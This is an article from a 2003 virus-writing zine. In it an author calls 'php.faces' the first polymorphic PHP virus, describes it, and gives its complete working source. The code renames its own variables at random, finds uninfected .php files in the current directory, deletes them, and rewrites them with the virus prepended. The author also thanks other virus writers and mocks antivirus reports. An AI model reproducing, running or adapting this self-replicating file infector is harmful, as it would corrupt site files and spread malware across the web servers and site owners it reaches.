Last article | Table of contents | Next article |
---|
php.faces by Kefi
(c) early October, 2003 .faces is the first polymorphic php virus. it uses the never-before-seen poly engine, "kppe," which stands for "kefi's php polymorph engine." faces is like most other php viruses in it's "main code" where it finds victim files with the extension of "php" from the current directory which do not contain the string, "php.faces." if the file contains the string, it will be skipped, however, if it does not, faces will add it's newly morphed 1,240 bytes of code to the beginning of the victim file. .written as a lame "concept virus," so everything's simple and easy ... as it should be. =) .thanks Negral -- php.Zodar; I based my code off of it. Xmorfic and Ultras -- very nice php viruses (php.ALF and NewWord)! Symantec -- giving horrible reports (as usual) of every php virus out there. keep up the good work, guys! .-------------------------------[php.faces]--------------------------------. <?php $ypxqrpsqcc = fopen(__FILE__, "r"); $bbugesqpty = substr(fread($ypxqrpsqcc, filesize(__FILE__)), 0, 1249); fclose($ypxqrpsqcc); $dhbpgxtamn = array("ypxqrpsqcc", "bbugesqpty", "dhbpgxtamn", "cctsvcopcx", "wurwejtvjx", "ccznwozuuo", "uudxleoyja", "ionwdbkwfh", "zohqscoxob", "skzmabzbfe"); for($cctsvcopcx = 0; $cctsvcopcx <count($dhbpgxtamn); $cctsvcopcx++){ $wurwejtvjx = chr(rand(97, 122)); for($ccznwozuuo = 0; $ccznwozuuo <9; $ccznwozuuo++) $wurwejtvjx = $wurwejtvjx . chr(rand(97, 122)); $bbugesqpty = str_replace("$dhbpgxtamn[$cctsvcopcx]", "$wurwejtvjx", "$bbugesqpty"); } $uudxleoyja = opendir("."); while(false !== ($ionwdbkwfh = readdir($uudxleoyja))){ if($ionwdbkwfh != "." && $ionwdbkwfh != ".."){ if(substr($ionwdbkwfh, -3) == "php"){ $zohqscoxob = fopen($ionwdbkwfh, "r"); $skzmabzbfe = substr(fread($zohqscoxob, filesize($ionwdbkwfh)), 5); fclose($zohqscoxob); if(!strstr($skzmabzbfe, "php.faces")){ unlink("$ionwdbkwfh"); $zohqscoxob = fopen($ionwdbkwfh, "a+"); fwrite($zohqscoxob, "$bbugesqpty"); fwrite($zohqscoxob, "$skzmabzbfe"); fclose($zohqscoxob); } } } } closedir($uudxleoyja); // php.faces (c) by Kefi, 2003 ?>